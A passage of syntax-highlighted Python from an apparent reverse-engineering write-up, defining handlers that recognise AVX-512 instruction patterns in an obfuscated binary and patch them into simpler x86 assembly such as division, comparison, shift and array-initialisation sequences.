</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov <span class="hljs-subst">{mem}</span>, rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov <span class="hljs-subst">{disas[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>]}</span>, [<span class="hljs-subst">{spill_var}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_div_mod</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx, is_mod = <span class="hljs-literal" style="color: #a31515;">False</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
ctx.invalidate_k(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], addr_range.start)
ctx.invalidate_k(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">9</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], addr_range.start)
src1 = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
src2 = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
dest = ctx.get_stack_offset(ex_general_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">15</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{src1}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rdi, [<span class="hljs-subst">{src2}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'cqo'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'idiv rdi'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], <span class="hljs-subst">{<span class="hljs-string">"rax"</span> <span class="hljs-keyword" style="color: blue;">if</span> <span class="hljs-keyword" style="color: blue;">not</span> is_mod <span class="hljs-keyword" style="color: blue;">else</span> <span class="hljs-string">"rdx"</span>}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_risc_cmp</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
ctx.invalidate_k(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], addr_range.start)
src1 = ctx.get_stack_offset(ex_vpcmpq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
src2 = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
dest = ctx.get_stack_offset(ex_general_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
op = get_equiv_cmp_op(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, [<span class="hljs-subst">{src1}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rdx, [<span class="hljs-subst">{src2}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'cmp rax, rdx'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'<span class="hljs-subst">{op}</span> al'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'movzx eax, al'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov [<span class="hljs-subst">{dest}</span>], rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_shift</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
dest = ctx.get_stack_offset(ex_general_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'<span class="hljs-subst">{equiv_ops[disas[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>]]}</span> qword [<span class="hljs-subst">{dest}</span>], <span class="hljs-subst">{disas[<span class="hljs-number">0</span>][<span class="hljs-number">4</span>]}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_shift_var</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
dest = ctx.get_stack_offset(ex_general_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), addr_range.start)
shift = ctx.get_stack_offset(ex_compressq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], addr_range.start))
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rcx, [<span class="hljs-subst">{shift}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'<span class="hljs-subst">{equiv_ops[disas[<span class="hljs-number">0</span>][<span class="hljs-number">0</span>]]}</span> qword [<span class="hljs-subst">{dest}</span>], <span class="hljs-subst">{disas[<span class="hljs-number">0</span>][<span class="hljs-number">4</span>]}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_jcc</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
ctx.invalidate_k(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], addr_range.start)
special_cond = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'mov'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
src1 = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'[<span class="hljs-subst">{ctx.get_stack_offset(ex_compressq_vmreg(disas[<span class="hljs-number">0</span>]), addr_range.start)}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> special_cond() </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'1'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
src2 = ctx.get_stack_offset(ex_vpcmpq_vmreg(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], flip=</span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> special_cond() </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">True</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">), addr_range.start)
op = get_equiv_cmp_op(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rax, <span class="hljs-subst">{src1}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov rdx, [<span class="hljs-subst">{src2}</span>]'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'cmp rax, rdx'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'<span class="hljs-subst">{op}</span> al'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'cmp al, 0'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_arr_init</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
dest = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:])
src = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:])
size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> d </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:][::</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> d[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vmovq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
size += </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
size += size_map[d[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].replace(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">' '</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)]
size //= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'lea rsi, <span class="hljs-subst">{src}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'lea rdi, <span class="hljs-subst">{dest}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov ecx, <span class="hljs-subst">{size}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'rep movsq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">handle_zarr_init</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">addr_range, disas, ctx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
dest = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:])
size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> d </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:]:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> d[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vmovq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
size += </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
size += size_map[d[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].replace(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">' '</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)]
size //= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
asm = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\n'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join([</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'lea rdi, <span class="hljs-subst">{dest}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'xor rax, rax'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'mov ecx, <span class="hljs-subst">{size}</span>'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'rep stosq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ctx.patch(addr_range, asm)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">match_arr_init_var</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">disas</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas) >= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ((disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == Inst.VMOVDQU64 </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == Inst.VMOVDQU64) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">or</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == Inst.VMOVQ </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == Inst.VMOVQ)):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[:</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] + match_arr_init_var(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> []
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">match_zarr_init_var</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">disas</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas) >= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == Inst.VMOVDQU64 </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">or</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == Inst.VMOVQ:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[:</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] + match_zarr_init_var(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> []
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># pattern, deobfuscation handler, name, variadic, variadic matcher (which returns the resulting match list for the variadic portion)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># each element that's an array represents variants at that spot</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
match_k_reg_setup = ([Inst.KMOVB], handle_k_reg, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"k_reg_setup"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_arith_general = ([Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ,
[Inst.VPADDQ, Inst.VPMULLQ, Inst.VPANDQ, Inst.VPORQ, Inst.VPXORQ, Inst.VPSUBQ]], handle_general_arith, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"arith_general"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_risc_cmp = ([Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ, [Inst.VPCMPQ, Inst.VPCMPGTQ, Inst.VPCMPEQQ],
Inst.VPBROADCASTMB2Q, [Inst.VPSRLQ, Inst.VMOVDQU64]], handle_risc_cmp, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"risc_cmp"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">False</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
match_not = ([Inst.VPCOMPRESSQ, Inst.VPBROADCASTQ, Inst.VPTERNLOGQ,
